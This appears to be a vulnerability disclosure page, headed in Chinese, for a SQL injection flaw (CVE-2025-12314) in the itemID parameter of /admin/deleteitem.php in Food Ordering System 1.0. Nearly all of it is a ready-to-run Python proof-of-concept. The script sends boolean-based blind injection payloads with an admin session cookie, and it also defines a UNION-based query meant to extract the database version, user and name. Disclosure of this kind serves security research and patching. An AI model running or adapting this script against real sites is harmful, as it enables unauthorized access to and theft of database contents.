CVE-2025-12314 Food Ordering System 1.0 /admin/deleteitem.php SQL注入漏洞

import requests import sys # CVE-2025-12314 SQL Injection PoC # Target: Food Ordering System 1.0 # Location: /admin/deleteitem.php def exploit_sql_injection(target_url, item_id): """ SQL Injection PoC for CVE-2025-12314 Tests for boolean-based blind SQL injection in itemID parameter """ # Malicious payload testing for SQL injection # True condition - should execute successfully true_payload = f"{item_id}' AND 1=1 --" # False condition - should fail or behave differently false_payload = f"{item_id}' AND 1=2 --" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': 'PHPSESSID=admin_session_id' # Requires admin auth } print(f"[*] Testing SQL Injection on {target_url}") # Test true condition true_url = f"{target_url}/admin/deleteitem.php?itemID={true_payload}" resp_true = requests.get(true_url, headers=headers, timeout=10) # Test false condition false_url = f"{target_url}/admin/deleteitem.php?itemID={false_payload}" resp_false = requests.get(false_url, headers=headers, timeout=10) # If responses differ, vulnerability exists if resp_true.status_code != resp_false.status_code or len(resp_true.text) != len(resp_false.text): print("[+] SQL Injection vulnerability confirmed!") print(f"[+] True payload response length: {len(resp_true.text)}") print(f"[+] False payload response length: {len(resp_false.text)}") return True else: print("[-] Vulnerability not detected or requires valid session") return False def extract_data(target_url): """ Data extraction using UNION-based SQL injection """ # UNION-based injection to extract database info union_payload = "1' UNION SELECT 1,2,3,4,5,version(),user(),database() --" extract_url = f"{target_url}/admin/deleteitem.php?itemID={union_payload}" headers = { 'User-Agent': 'Mozilla/5.0', 'Cookie': 'PHPSESSID=admin_session_id' } print(f"[*] Attempting data extraction...") try: resp = requests.get(extract_url, headers=headers, timeout=10) # Parse response for extracted data if resp.status_code == 200: print("[+] Data extraction request sent") print(f"[+] Response: {resp.text[:500]}") except Exception as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-12314.py <target_url>") print("Example: python cve-2025-12314.py http://localhost/food-ordering") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target, "1")